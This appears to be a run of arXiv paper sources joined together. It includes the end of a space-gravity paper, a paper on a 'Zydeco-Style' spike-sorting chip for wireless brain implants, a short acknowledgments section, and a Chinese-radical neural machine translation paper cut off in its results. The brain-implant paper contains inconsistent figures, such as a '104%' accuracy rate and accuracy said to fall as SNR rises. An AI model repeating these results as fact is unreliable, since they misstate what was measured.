confirmation and detailed analysis, most notably the direct detection of gravitational waves.
However, there are new motivations to test the theory to even a higher precisions
that already led to a number of experimental proposals to advance the knowledge of
fundamental laws of physics.
Recent progress in observational astronomy, astrophysics, and cosmology has raised important questions
related to gravity and other fundamental laws of Nature. There are two approaches to physics
research in space: one can detect and study signals from remote astrophysical objects, while
the other relies on a carefully designed experiment. Although the two methods are
complementary, the latter has the advantage of utilizing a well-understood and controlled
laboratory environment in the solar system.
Newly available technologies in conjunction with existing space capabilities offer unique
opportunities to take full advantage of the variable gravity potentials, large heliocentric
distances, and high velocity and acceleration regimes that are present in the solar system.
A common feature of precision gravity experiments is that they must operate in the noise
free environment needed to achieve the ever increasing accuracy. These requirements are
supported by the progress in the technologies, critical for space exploration, namely
the highly-stable, high-powered, and space-qualified lasers, highly-accurate frequency
standards, and the drag-free technologies.
This progress advances both the science and technology for the laboratory experiments
in space with laboratory being the entire solar system. As a result, solar system
experiments can significantly advance our knowledge of fundamental physics and are
capable of providing the missing links connecting quarks to the cosmos.
Concluding, it is our hope that the recent progress will lead to establishing a more
encompassing theory to describe all physical interactions in an unified fashion that
harmonizes the spacetime description of GR with quantum mechanics.
This unified theory is needed to address many of the standing difficulties we face
in theoretical physics: Are singularities an unavoidable property of spacetime? What is
the origin of our Universe? How to circumvent the cosmological constant problem and
achieve a successful period of inflation and save our Universe from an embarrassing
set of initial conditions? The answer to these questions is, of course, closely
related to the nature of gravity. It is an exciting prospect to think that experiments
carried out in space will be the first to provide the essential insights on the brave
new world of the new theories to come.
\subsubsection*{Acknowledgments~~}
The work of SGT described was carried out at the Jet Propulsion
Laboratory, California Institute of Technology, under a contract
with the National Aeronautics and Space Administration.
\bibliographystyle{unstr}
|
1,477,468,750,039 | arxiv | \section{Introduction}
Brain Computer Interface (BCI) is a communication system that links a human brain activity to a machine via translating neural electrical activity into computer commands. One of the most important goals of BCI research is to enable the handicapped to control artificial limbs by only thinking about the movement action itself and not the motor actin activation control. BCI can offer near-optimal solutions for controlling prosthetic limbs~\cite{1}. Despite the tremendous research effort in the BCI field, the human usability of BCI implants is still limited to laboratory scenarios due to the usability, power consumption, and mobility limitations.
Electroencephalography (EEG) is a method to record an electrogram of the electrical activity on the scalp that represents the macroscopic activity of the surface layer of the brain underneath. It is typically non-invasive, with the electrodes placed along the scalp. Neural activity sensors are usually classified into three main categories: non-invasive (e.g., EEG), partially invasive (e.g., Electrocorticography), and invasive sensors (e.g., microelectrode array). These sensors can be placed on different layers within the patient's head, such as: on the top of the skull skin, under the skull bone, right over the cortical and the dura tissue, or the Pia Matter itself (gray matter), respectively, as shown in Fig.~\ref{figure1}.
As a matter of fact, there is a trade-off between the electrode sensors' location and the signal-to-noise ratio (SNR). The microelectrode array has the best SNR (at $\mathrm{3.0 \mu Vrms}$)~\cite{3} compared to the EEG cap sensors and the Epidural/Subdural ECoG sensors. On the other hand, it requires the most invasive surgical procedure\cite{4,5,6}. Wireless implants do not need chronic wounds in the subject's skull and provide communication between the BCI Implant (through the low power electromagnetic signaling), where the outside receiver BLE chip could be either located on the prosthetic limb that receives the processed data and executes the movement commands or a medical ICU monitoring device implementing the IoT architecture for medical equipment. It is crucial to notice that while sending each recorded signal of the neuron activity will consume high bandwidth and power, which would conflict with the implant power limitations of the (8-10 mW)\cite{8}. Thus, currently, a signal-processing chip is usually added to the implant as a supporting unit that filters the classified input signal and reduces the amount of data transmitted via a spike sorting module that also lowers the heat dissipation of the implant chip.
\begin{figure
\centerline{\includegraphics[width=8.7cm, height= 6.5cm]{figure1.jpg}}
\caption{Cross-section of a top partition of human skull showing the possible positioning of the implant electrodes: EEG caps sensor, ECoG matrix, and Microelectrode array.}
\label{figure1}
\end{figure}
Despite that, the BCI implant implementation limitations are challenges~\cite{5}. There are many other issues and challenges that face the common state-of-the-art spike sorting techniques~\cite{5}, especially for VLSI implementation that is discussed in~\cite{7}. Therefore, in this study, we propose a simplified, adaptive, power-efficient BCI spike sorting VLSI architecture, “Zydeco-Style,” for BCI Implants empowered by a low-power BLE technology for wireless communication. The proposed architecture is accurate according to the industrial standards~\cite{5} and follows all the human body implant limitations~\cite{6}.
With the advances in the communication and signal technology of low-power wireless communication, such as the EFR3BG21~\cite{2} allows the medical implants to transmit data and stay connected with a wide variety of medical devices, telemedicine, support IoT architecture, and provide a continue informative status reporting, where the total system draws 5.8mA in TX and 6.8mA in RX while running the Bluetooth (BLE) or near field Communication (NFC) protocol as well as the chip can radiate energy wirelessly to surrounding devices especially, within the ICU monitoring environment using 13.56 MHz field with the help of coils.
The core idea of our proposed system came from the traditional Zydeco music~\cite{7}. Zydeco is a music genre that evolved in southwest Louisiana by French Creole speakers, which blends blues, rhythm and blues, and music indigenous to the Louisiana Creoles and the Native American people of Louisiana. Although it is distinct in origin from the Cajun music of Louisiana, the two forms influenced each other, forming a complex of genres native to the region. The origin of the term "Zydeco" is uncertain. One theory is that it derives from the French phrase: \textit{Les haricots ne sont pas salés}, which, when spoken in Louisiana French, translates as "\textit{the snap beans are not salty}" and is used idiomatically to express hardship.
Zydeco music is typically played in an up-tempo, syncopated manner with a strong rhythmic core. Zydeco music is centered around the accordion, which leads the rest of the band, and a specialized washboard, called a \textit{frottoir}, as a prominent percussive instrument. It blends and fits the solo melody with the base rhythm, producing unique ear-pleasing music. Similarly, in our proposed system, the algorithm divides the input signal immediately at the input channels into two flows of processes that add a second dimension of informative analysis to carry information about the filtered input, as well as the feature classifier for amplitude recognition unit (ARU) and the frequency discrimination unit (FDU) of the stochastic behavior of the neural activity to the spike-sorting algorithm.
\section{Background}
\subsection{Brain Signal Features}
Electroencephalogram was the first recorded in 1924 at Hans Berger's lab in Germany, it was a recording of the electrical activity of the neurons taken from a silver wire penetrated through the patient's skull, and the recorded signal was called alpha waves (8–13 Hz). Later on, other waves were discovered: delta waves (0.5–3 Hz), theta waves (3–8 Hz), beta waves (12–38 Hz), and gamma waves (38–42 Hz). Gamma waves are the fastest of brain waves that are strongly correlated to brain information processing activity~\cite{5}.
\subsection{BCI Signal Processing}
BCI signal processing unit is usually placed within the implant chip for signal filtering, signal conditioning, neural data identification, and signal parameters dimension reduction. Spike sorting unit performs digital data filtering, feature extracting, and clustering. A block diagram of a common spike sorting BCI module is shown in Fig.~\ref{figure2}.
\begin{figure
\centerline{\includegraphics[width=8.7cm, height=5.5 cm]{figure2.jpg}}
\caption{The block diagram of a BCI implant chip signal processing units, including the spike sorting modules.}
\label{figure2}
\end{figure}
Spike sorting unit occupies the largest area of the implant chip, and it plays a significant role in power consumption, heat dissipation, and the accuracy of the whole system. Thus, by enhancing the spike sorting module, we can enhance the power consumption reduction. Moreover, by considering reducing the amount of data transmitted, it will benefit the power reduction as well.
\subsection{Wireless BCI Implant Challenges}
Regarding the physical properties of any BCI implant, it must follow the following limitation~\cite{5}:
\begin{itemize}
\item Chip area must not exceed 1 $\mathrm{cm^2}$,
\item Energy dissipation cannot heat the surrounding tissue more than 1 $\mathrm{C^{\circ}}$,
\item Power consumption must never exceed 10 mW,
\item The minimum neural identification accuracy must be more than 90\% at 8.4 dB.
\end{itemize}
In the next section, we will discuss the related proposed BCI architectures for VLSI implementation.
\subsection{Related Work}
Several wireless spike sorting techniques DSP chips were proposed~\cite{10,11}. However, their major issues can be summarized in: battery replacement complexity and implant heat dissipation that causes difficulties for BCI implant safe deployment (e.g., comparing to Cochlear hearing implants~\cite{12}). Several research proposed using Principal Component Analysis (PCA) and Independent Component Analysis (ICA) for an unsupervised, adaptive spike sorting architecture; however, these methods suffer from low accuracy and cache rebuilding downtime. On the other hand, the authors in~\cite{6} proposed a filtered and parameterized K-Means approaches, in addition to proposing a brilliant idea that was implemented on a chip using a backboard-based Spike ID sorter with 16 input channels; however, it requires a prerequisite long training phase.
In the previous work~\cite{13}, we proposed a parameterized artificial immune system for clustering and searching~\cite{8}; where the neural identification task was based on neural fingerprints taken from the dominant channel, and the signal across all the adjacent channels where the system detects (with 100\%) accuracy the neurons at the idea input scenario. Although the system degrades with the increase of the signal-to-noise ratio (SNR), it keeps operating with 91\% accuracy at 15dB; occupies 23\% less area, and decreases bandwidth by an order of magnitude.
\section{Neural Fingerprint}
It is important to notice that due to the microelectrode array's physical design and implementation properties, it makes every one second of microelectrode array input recording to contain $\approx$48,000 noise spikes. Moreover, the majority of this strong noise comes from the surrounding neurons to the neuron structure under consideration, which is supposedly connected with the tip of one of the 500 microelectrode needles or, more specifically, to the silver oxide needle, these surrounding neurons can be seen as in a spheric structure around the tip of the needle (an imaginary sphere of $\mathrm{r = 50\mu m})$, shown in Fig.~\ref{figure3}, and that is where most of the attenuation of the neural spike signal is coming from. Additionally, the fact that the amplitude of each of these spikes is usually modeled as coming from a normal distribution with $\mathrm{\mu= 1}$ and $\mathrm{\sigma= 0.2}$.
\begin{figure
\centerline{\includegraphics[width=8.5cm, height= 7.5 cm]{figure3.jpg}}
\caption{The diagram of a microelectrode needle tip and the strongest associate noise from the surrounding neurons (imaginary sphere of $r = 50\mu m$).}
\label{figure3}
\end{figure}
Thus, we are proposing to use this natural phenomenon of the sensing equipment to describe the firing neuron and produce an individual fingerprint pattern that based on the neural locality principle. Moreover, considering the time delay of the dominant firing neuron and the moment it appears on the closest surrounding channels gives a better vision of the firing neuron. However, to study and analyze this new effect on the neural fingerprint, we had to come up with a new model for neural wiring, following a fractal formation theory, shown in Fig.~\ref{figure4}, a fractal is a never-ending pattern. Fractals are infinitely complex patterns driven by recursion that are self-similar across different scales. They are created by repeating a simple process over and over in an ongoing feedback loop. Fractal patterns are extremely familiar since nature is full of fractals. For instance: trees, rivers, coastlines, mountains, clouds, and hurricanes.
\begin{figure
\centerline{\includegraphics[width=8.7cm, height= 5 cm]{figure4.jpg}}
\caption{The novel proposed model of neural noise signaling propagation from the microelectrode needle tip perspective, a) a single neuron and its two types of neighbors as seen from the tip of the needle, b) fractal pattern of the neural circuit shows a connection of four neurons.}
\label{figure4}
\end{figure}
\begin{figure*
\centerline{\includegraphics[width=11cm, height= 6 cm]{figure5.jpg}}
\caption{The block diagram of the proposed Zydeco-Style architecture shows the two main modules for generating neural fingerprints.}
\label{figure5}
\end{figure*}
The proposed model does not cover the neural fiber connection or the mini-cylinder analysis~\cite{14}. Instead, it describes the generation of the actual signal combined with the surrounding noise propagation path structure of each channel of the microelectrode needles within the sensor coverage space, which is essentially required for the more clarified and sophisticated neural fingerprint creation.
In Fig.~\ref{figure4}, the small circles represent neurons. The blue circle represents the dominant neuron; the surrounding orange circles connected via black edges represent the closest surrounding neurons (the imaginary sphere that usually produces the strongest noise). Therefore, this model does not only offer new circuit connectivity, but it gives a new capability of visualizing the natural neural fingerprint image. Furthermore, this model defines new functionality to the single neuron, regarding the dendrite plasticity due to learning and forgetting because of the long-term excitation (LTE) and long-term potentiation (LTP), respectively, described by the bidirectional model (1) from the Hebbian theory~\cite{13}.
\begin{equation}
\frac{dW_i(t)}{dt} = \frac{1}{\tau([Ca^{2+}]_i)}(\Omega([Ca^{2+}]_i) -W_i)
\end{equation}
\noindent
where $W_i$ is the weight of the connection for $i$, and $\tau$ is the time constant of the insertion and the removal of the neurotransmitter receptor $Ca^{2+}$, which is the calcium ion concentration, and $\Omega$ is a function of the concentration of calcium ions that linearly depends on the number of receptors on the membrane of the neuron, where the weight propagation still can be calculated by:
\begin{equation}
\Delta w_{ij} = x_i x_j
\end{equation}
\noindent
where $W_{ij}$ is the weight of the connection for neuron $i$ to neuron $j$ (dendrite connection strength), $x_i$ and $x_j$ are the input for neuron $i$ and neuron $j$, respectively.
Therefore, the proposed model of neural noise signaling/generation behavior is suitable for both: artificial neural network theory and medical brain activity signature specification applications; it provides the functionality and the visual topography of the neural firing and noise distribution operations simultaneously.
\section{Zydeco-Style Architecture}
Based on the facts of the neural activity anatomy, it raises the idea of looking at neural signal recordings from the electrode-based signal acquisition device for the designated neural activity under the study of a specific brain area that is actually blended with the surrounding simultaneous neural activity. Especially if we look at the active potential spiking activity from a wider prospectus, we can see that the attached muscular and vital body-related activities generate simultaneous and asymptotically coherent signals within the same voltage (which in many cases is considered as electroencephalograph noise). However, the actual potential signature of these semi-rhythmic signals can be useful in adding more information details for neural group identification processes, such as neural signature fingerprints. Thus, instead of filtering out this valuable information from the input signal for the spike sorting mechanism (as it is considered by default as useless data in most of the current spike sorting techniques), our proposed method used this information to provide a better classification task. The main principle of the Zydeco Style architecture is to divide the input signal (right after the Analog Front-End (AFE) unit) into two paths, as shown in Fig.~\ref{figure5}. The first path executes the neural identification process via the fine fingerprint generation (FFG) unit implemented in~\cite{13}. The second path connects to the frequency and time analysis process, followed by the global-local fingerprint generation unit (GFF).
Using the neural fingerprint lookup-table (FPLT) improves the adaptive matching unit (AMU) via combining the two fingerprints (coarse and fine), then it matches them with the stored signatures, or if it is a newly discovers fingerprint, it stores the fingerprint into the FPLT and a new entry. The building blocks of the Zydeco-Style architecture are:
\begin{itemize}
\item \textit{Spike Fingerprint Unit:} is responsible for generating the fine fingerprint of the firing neuron. It consists of three subunits units: adaptive threshold spike detector, Pivot Finder, and Fingerprint Generator.
\item \textit{Global Analysis Unit:} is responsible for the time of the dominant spike analysis, where the delay of the spike as seen from the surrounding channels is calculated and the spiking frequency analysis for neural identification. In order to generate the global-local fingerprints.
\item \textit{Adaptive Matching Unit:} matches the current fingerprint value and stores the pre-loaded population of the fingerprints at the FPLT. It consists of an Artificial Immunity System matching unit (AIS) and 32Kb of SRAM memory, which is used to store the initial population of fingerprints as well as a working space for the matching unit.
\end{itemize}
\begin{figure
\centerline{\includegraphics[width=8.7cm, height= 5.5 cm]{figure6.jpg}}
\caption{The result comparison graph shows the proposed architecture performance (in solid lines) and previous architecture (in dotted lines).}
\label{figure6}
\end{figure}
\section{Simulation Results}
For the model validation and verification, the proposed architecture was simulated and implemented in Matlab and Verilog, respectively. Where we used two groups of simulated data sets, three for the training phase (SNR of 0dB and 5dB) and another two for testing with a different SNR (7dB and 10dB); the dataset was created based on the method described in~\cite{12}. The initial population of the neural fingerprints was set via the ICA classification function in WaveClus$\copyright
$ based on the open-source algorithm for spike sorting available at~\cite{16} and~\cite{17}. As a result, the detection accuracy is optimal in the 0dB dataset case. On the other hand, the system's performance accuracy degrades at SNR $>$ 7dB cases. However, when we compare our results to the architecture described in Section II; using the same approach as in~\cite{5}, where we used a pair of {False-Positive Rates (FPR), True-Positive Rates (TPR)} as a system performance measurement parameter for neural detection, where the optimal detection must generate {0, 1} values. The results comparison is promising, as shown in Fig.~\ref{figure6}.
From the graph, we can see that the system improves the detection TPR rate by 23\% (due to the added global-local fingerprint unit) and reduces rejection FPR rates by 96.3\% (due to the negative selection algorithm). However, this comes at the cost of an additional fingerprint unit (34.5\% increase in chip area); on the other hand, we achieve a higher (104\%) detection accuracy rate. Moreover, due to the enhanced TPR performance, the detection unit can be used in a broader range of medical applications and still satisfy the implant limitations. Further, we are aware that performance can be improved even more via a proper selection of the initial fingerprint population.
\section{Conclusion and Future Work}
The proposed neural connectivity model blended with the Zydeco-Style spike sorting architecture gives a new way of detection perspective for analyzing the firing neural fingerprints as well as a novel neural analysis vision of the surrounding signaling activity of the adjacent neurons in time and frequency domains. The proposed architecture gives a better detection result and opens new opportunities for medical IoT to continue monitoring mental disorders and early detection tasks. The proposed model can contribute to a new era of adaptive real-time BCI implants, especially when coupled with the proposed layered implant, which consists of three parts: I/O and battery unit, the spike sorter and AFE, and the electrode array. Each of these units is implanted in a different layer of the skull: under the skin, over the dura, and inside the Pia matter itself. The concept implant design is shown in Fig.~\ref{figure7}. Finally, for future work, we will implement the Zydeco-Style VLSI spike sorting in ASIC architecture and study the required enhancements to enable neural activity prediction features for mental disorders.
\begin{figure
\centerline{\includegraphics[width=8.5cm, height= 4cm]{figure7.jpg}}
\caption{The Z-Plant\copyright~Concept design diagram, the three components are (from left to right): Microelectrode array, AFE and Spike Sorter chip, and the I/O coil with the RF communication unit and the SRAM chip diagram with the three components from left to right: electroarray, AFE and Spike Sorter chip, and the I/O RF communication unit and the SRAM chip.}
\label{figure7}
\end{figure}
\bibliographystyle{ieeetr}
|
1,477,468,750,040 | arxiv | \section*{Acknowledgements}
We would like to thank Garrett D. Cole for useful discussion on crystalline mirror materials. This work was partially funded by the Australian Research Council Centre of Excellence for Engineered Quantum Systems (EQuS), project number CE110001013 and Discovery Project DP140101638.
\section*{Author Contributions}
K.X., M.R.V. and J. T. each contributed to the original concept and the model. K.X. primarily wrote codes for simulations. All three wrote the manuscript.
\section*{Additional Information}
K.X., M.R.V., and J.T. are co-inventors of the magnetic quantum interface described in this Report (internationally protected Australian Patent Application 2014900600).
\bibliographystyle{naturemag}
|
1,477,468,750,041 | arxiv | \section{Introduction}
Machine Translation (MT) has a long history dating from 1950s \cite{Weaver1955} as one topic of artificial intelligence (AI) or intelligent machines. It began with rule-based MT (RBMT) systems that apply human defined syntactic and semantic rules of source and target languages to the machine, to example based MT (EBMT), statistical MT (SMT), Hybrid MT (e.g. the combination of RBMT and SMT) and then recent years' Neural MT (NMT) models \cite{Nirenburg1989RBMT,carl2003recent,koehn2009statistical,DBLP:journals/corr/BahdanauCB14}.
NMT models treat MT task as encoder-decoder work-flow which is much different from the conventional SMT structure \cite{cho2014learning}. The encoder applies in the source language side learning the sentences into vector representations, while the decoder applies in the target language side generating the words from the target side vectors. Recurrent Neural Networks (RNN) models are usually used for both encoder and decoder, though there are some researchers employing convolutions neural networks (CNN) like \cite{DBLP:journals/corr/ChoMBB14,kalchbrenner13emnlp}. The hidden layers in the neural nets are designed to learn and transfer the information \cite{neubig2017neural}.
There were some drawbacks in the NMT models e.g. lack of alignment information between source and target side, and less transparency, etc. To address these, attention mechanism was introduced to the decoder first by \cite{DBLP:journals/corr/BahdanauCB14} to pay interests to part information of the source sentence selectively, instead of the whole sentence always, when the model is doing translation. This idea is similar like alignment functions in SMT and what the human translators usually perform when they undertake the translation task. Earlier, attention mechanisms were applied in neural nets for image processing tasks \cite{NIPS2010_4089,Denil2011NIPSattention}. Recently, Attention based models have appeared in most of the NMT projects, such as the the investigation of global attention-based architectures \cite{DBLP:journals/corr/LuongPM15} and target information \cite{peter2017generating} for pure text NMT, and the exploration of Multi-modal NMT \cite{Huang2016AttentionMNMT}. To generalize the attention mechanism in the source language side, coverage model is introduced to balance the weights of different parts of the sentences into NMT by \cite{DBLP:journals/corr/TuLLLL16,Mi2016CoverageEm}.
Another drawback of NMT is that the NMT systems usually produce better fluent output, however, the adequacy is lower sometimes compared with the conventional SMT, e.g. some meaning from the source sentences will be lost in the translation side when the sentence is long \cite{DBLP:journals/corr/TuLLLL16a,DBLP:journals/corr/TuLLLL16,koehn2017six,neubig2017neural,DBLP:journals/corr/ChoMBB14}. One kind of reason of this phenomenon could be due to the unseen words problem, except for the un-clear learning procedure of the neural nets. With this assumption, we try to address the unseen words or out-of-vocabulary (OOV) words issue and improve the adequacy level by exploring the Chinese radicals into NMT.
For Chinese radical knowledge, let's see two examples about their construction in the corresponding characters. This Figure 1 shows three Chinese characters (forest, tree, bridge) which contain the same part of radical (wood) and this radical can be a character independently in usage. In the history, Chinese bridge was built by wood usually, so apparently, these three characters carry the similar meaning that they all contain something related with woods.
\begin{figure}[!t]
\centering
\includegraphics*[height=1.5in,width=2in]{./draw-wood-chinese-charc1cut.pdf}
\caption{Radical as independent character.}
\label{fig:3}
\end{figure}
\begin{figure}[!t]
\centering
\includegraphics*[height=1.5in,width=2in]{./draw-grass-chinese-charc2cut.pdf}
\caption{Radical as non-independent character.}
\label{fig:3}
\end{figure}
The Figure 2 shows three Chinese characters (grass, medicine, tea) which contain the same part of radical (grass) however this radical can not be a character independently in usage. This radical means grass in the original development of Chinese language. In the history, Chinese medicine was usually developed from some nature things like the grass, and Chinese tea was usually from the leafs that are related with grass. To the best knowledge of the authors at the submission stage, there is no published work about radical level NMT for Chinese language yet.
\section{Related Work}
MT models have been developed by utilizing smaller units, i.e. phrase-level to word-level, sub-word level and character-level \cite{SubwordNMT15Sennrich,chung2016character}. However, for Chinese language, sub-character level or radical level is also a quite interesting topic since the Chinese radicals carry somehow essential meanings of the Chinese characters that they are constructed in. Some of the radicals splitted from the characters can be independent new characters, meanwhile, there are some other radicals that can not be independent as characters though they also have meanings. It would be very interesting to see how these radicals or the combination of them and traditional words/characters perform in the NMT systems.
There are some published works about the investigation of Chinese radicals embedding for other tasks of NLP, such as \cite{Radical15ShiNLP,Liu17CompositionalityVisual} explored the radical usage for word segmentation and text categorization.
Some MT researchers explored the word composition knowledge into the systems, especially on the western languages. For instance, \cite{matthews2016synthesizing} developed a Machine Translation model on English-German and English-Finnish with the consideration of synthesizing compound words. This kind of knowledge is similar like the splitting Chinese character into new characters.
\section{Model Design}
\subsection{Attention-based NMT}
Typically, as mentioned before, neural machine translation (NMT) builds on an encoder-decoder framework \cite{DBLP:journals/corr/BahdanauCB14,sutskever2014sequence} based on recurrent neural networks (RNN). In this paper, we take the NMT architecture proposed by \cite{DBLP:journals/corr/BahdanauCB14}. In NMT system, the encoder apples a bidirectional RNN to encode a source sentence $x=(x_1, x_2, ..., x_{T_x})$ and repeatedly generates the hidden vectors $h = (h_1, h_2, ..., h_{T_x})$ over the source sentence, where $T_x$ is the length of source sentence. Formally, $h_j = [\overrightarrow{h_j};\overleftarrow{h_j}]$ is the concatenation of forward RNN hidden state $\overrightarrow{h_j}$ and backward RNN hidden state $\overleftarrow{h_j}$, and $\overrightarrow{h_j}$ can be computed as follows:
\begin{equation}
\overrightarrow{h_j} = f(\overrightarrow{h_{j-1}}, x_j)
\end{equation}
where function f is defined as a Gated Recurrent Unit (GRU) \cite{chung2014empirical}.
The decoder is also an RNN that predicts the next word $y_t$ given the context vector $c_t$, the hidden state of the decoder $s_t$ and the previous predicted word $y_{t-1}$, which is computed by:
\begin{equation}
p(y_t|y_{<t},x) = softmax(g(s_t, y_{t-1}, c_t))
\end{equation}
where $g$ is a non-linear function. and $s_t$ is the state of decoder RNN at time step $t$, which is calculated by:
\begin{equation}
s_t = f(s_{t-1}, y_{t-1}, c_t)
\end{equation}
where $c_t$ is the context represent vector of source sentence.
Usually $c_t$ can be obtained by attention model and calculated as follows:
\begin{equation}
c_t = \sum^{T_x}_{j=1} \alpha_{tj}h_j
\end{equation}
\begin{equation}
\alpha_{tj} = \frac{exp(e_{tj})}{\sum^{T_x}_{k=1}{e_{tk}}}
\end{equation}
\begin{equation}
e_{tj} = v^T_atanh(s_{t-1},h_j)
\end{equation}
We also follow the implementation of attention-based NMT of dl4mt tutorial \footnote{github.com/nyu-dl/dl4mt-tutorial/tree/master/ session2}, which enhances the attention model by feeding the previous word $y_{t-1}$ to it, therefore the $e_{tj}$ is calculated by:
\begin{equation}
e_{tj} = v^T_atanh(\widetilde s_{t-1},h_j)
\end{equation}
where $\widetilde s_{t-1} = f(s_{t-1},y_{t-1})$, and $f$ is a GRU function. The hidden state of the decoder is updated as following:
\begin{equation}
s_t = f(\widetilde s_{t-1}, c_t)
\end{equation}
In this paper, we use the attention-based NMT with the changes from dl4mt tutorial \footnote{github.com/nyu-dl/dl4mt-tutorial} as our baseline and call it RNNSearch*\footnote{To distinguish it from RNNSearch as in the paper \cite{DBLP:journals/corr/BahdanauCB14}}.
\subsection{Our model}
Traditional NMT model usually uses the word-level or character-level information as the inputs of encoder, which ignores some knowledge of the source sentence, especially for Chinese language. Chinese words are usually composed of multiple characters, and characters can be further splitted into radicals. The Chinese character construction is very complected, varying from upper-lower structure, left-right structure, to inside-outside structure and the combination of them. In this paper, we use the radical, character and word as multiple inputs of NMT and expect NMT model can learn more useful features based on the different levels of input integration.
\begin{figure}[!t]
\centering
\includegraphics*[height=2.5in,width=1.7in]{./decomposed_nmt.eps}
\caption{Architecture of NMT with multi-embedding.}
\label{fig:3}
\end{figure}
Figure 3 illustrates our proposed model. The input embedding $x_j$ consists of three parts: word embedding $w_j$, character embedding $z_j$ \footnote{We use the character `z' to represent character, instead of `c', because we already used `c' as representation of context vector.} and radical embedding $r_j$, as follows:
\begin{equation}
x_j = [w_j;z_j;r_j]
\end{equation}
where `;' is concatenate operation.
For the word $w_j$, it can be split into characters $z_j = (z_{j1}, z_{j2}, ..., z_{jm})$ and further split into radicals $r_j = (r_{j1}, r_{j2},..., r_{jn})$. In our model, we use simple additions operation to get the character representation and radical representation of the word, i.e. $z_j$ and $r_j$ can be computed as follows:
\begin{equation}
z_j = \sum_{k=1}^{m} z_{jk}
\end{equation}
\begin{equation}
r_j = \sum_{k=1}^n r_{jk}
\end{equation}
Each word can be decomposed into different numbers of character and radical, and, by addition operations, we can generate a fixed length representation. In principle our model can handle different levels of input from their combinations. For Chinese character decomposition, e.g. the radicals generation, we use the HanziJS open source toolkit \footnote{github.com/nieldlr/Hanzi}. On the usage of target vocabulary \cite{jean2014using}, we choose 30,000 as the volume size.
\section{Experiments}
\subsection{Experiments Setting}
We used 1.25 million parallel Chinese-English sentences for training, which contain 80.9 millions Chinese words and 86.4 millions English words. The data is mainly from Linguistic Data Consortium (LDC) \footnote{www.ldc.upenn.edu} parallel corpora, such as LDC2002E18, LDC2003E07, LDC2003E14, LDC2004T07, LDC2004T08, and LDC2005T06. We tune the models with NIST06 as development data using BLEU metric \cite{Papineni02bleu:a}, and use NIST08 Chinese-English parallel corpus as testing data with four references.
For the baseline model RNNSearch*, in order to effectively train the model, we limit the maximum sentence length on both source and target side to 50. We also limit both the source and target vocabularies to the most frequent 30k words and replace rare words with a special token ``UNK'' in Chinese and English. The vocabularies cover approximately 97.7\% and 99.3\% of the two corpora, respectively. Both the encoder and decoder of RNNsearch* have 1000 hidden units. The encoder of RNNsearch consists of a forward (1000 hidden unit) and backward bidirectional RNN. The word embedding dimension is set as 620. We incorporate dropout \cite{hinton2012improving} strategy on the output layer. We used the stochastic descent algorithm with mini-batch and Adadelta \cite{zeiler2012adadelta} to train the model. The parameters $\rho$ and $\epsilon$ of Adadelta are set to 0.95 and $10^{-6}$. Once the RNNsearch* model is trained, we adopt a beam search to find possible translations with high probabilities. We set the beam width of RNNsearch* to 10. The model parameters are selected according to the maximum BLEU score points on the development set.
For our proposed model, all the experimental settings are the same as RNNSearch*, except for the word-embedding dimension and the size of the vocabularies. In our model, we set the word, character and radical to have the same dimension, all 620. The vocabulary sizes of word, character and radical are set to 30k, 2.5k and 1k respectively.
To integrate the character radicals into NMT system, we designed several different settings as demonstrated in the table. Both the baseline and our settings used the attention-based NMT structure.
\begin{center}
\captionof{table}{Model Settings}
\begin{tabular}{ l|c | c } \hline
Settings & Description & abbreviation \\ \hline
Baseline & Words & W \\
Setting1 & Word+Character+Radical & W+C+R \\
Setting2 & Word+Character & W+C \\
Setting3 & Word+Radical & W+R \\
Setting4 & Character+Radical & C+R \\ \hline
\end{tabular}
\end{center}
\subsection{Evaluations}
Firstly, there are many works reflecting the insufficiency of BLEU metric, such as higher or lower BLEU scores do not necessarily reflect the model quality improvements or decreasing; BLEU scores are not interpretive by many translation professionals; and BLEU did not correlate better than later developed metrics in some language pairs \cite{callison2006re,callison2007meta,lavie2013automated}.
In the light of such analytic works, we try to validate our work in a deeper and broader evaluation setting from more aspects. We use a wide range of state of the art MT evaluation metrics, which are developed in recent years, to do a more comprehensive evaluation, including hLEPOR \cite{han2013language,han2014lepor}, CharacTER \cite{wang2016character}, BEER \cite{stanojevic-simaan:2014:W14-33}, in addition to BLEU and NIST \cite{Papineni02bleu:a}.
The model hLEPOR is a tunable translation evaluation metric yielding higher correlation with human judgments by adding n-gram position difference penalty factor into the traditional F-measures. CharacTER is a character level editing distance rate metric. BEER uses permutation trees and character n-grams integrating many features such as paraphrase and syntax. They have shown top performances in recent years' WMT\footnote{www.statmt.org/wmt17/metrics-task.html} shared tasks \cite{machavcek-bojar:2013:WMT,machacek-bojar:2014:W14-33,grahametal:15,bojar-EtAl:2016:WMT2}.
Both CharacTER and BEER metrics achieved the parallel top performance in correlation scores with human judgment on Chinese-to-English MT evaluation in WMT-17 shared tasks \cite{bojar-graham-kamran:2017:WMT} .
While LEPOR metric series are evaluated by MT researchers as one of the most distinguished metric families that are not apparently outperformed by others, which is stated in the metrics comparison work in \cite{grahametal:15} on standard WMT data.
\subsubsection{Evaluation on Development Set}
On the development set NIST06, we got the following evaluation scores. The cumulative N-gram scoring of BLEU and NIST metric, with bold case as the highlight of the winner in each n-gram column situation, is shown in the table respectively. Researchers usually report their 4-gram BLEU while 5-gram NIST metric scores, so we also follow this tradition here:
\begin{center}
\captionof{table}{BLEU Scores on NIST06 Development Data}
\begin{tabular}{ l|c |c |c | c } \hline
& 1-gram & 2-gram & 3-gram & 4-gram \\ \hline
Baseline & .7211 & .5663 & .4480 & .3556 \\
W+C+R & \textbf{.7420} & \textbf{.5783} & \textbf{.4534} & \textbf{.3562} \\
W+C & .7362 & .5762 & .4524 & .3555 \\
W+R & .7346 & .5730 & .4491 & .3529 \\
C+R & .7089 & .5415 & .4164 & .3219 \\ \hline
\end{tabular}
\end{center}
\begin{center}
\captionof{table}{NIST Scores on NIST06 Development Data}
\begin{tabular}{ l|c |c |c | c| c } \hline
& 1-gram & 2-gram & 3-gram & 4-gram & 5-gram \\ \hline
Baseline & 5.8467 & 7.7916 & 8.3381 & 8.4796 & 8.5289 \\
W+C+R & \textbf{6.0047} & \textbf{7.9942} & \textbf{8.5473} & \textbf{8.6875} & \textbf{8.7346} \\
W+C & 5.9531 & 7.9438 & 8.5127 & 8.6526 & 8.6984 \\
W+R & 5.9372 & 7.9021 & 8.4573 & 8.5950 & 8.6432 \\
C+R & 5.6385 & 7.4379 & 7.9401 & 8.0662 & 8.1082 \\ \hline
\end{tabular}
\end{center}
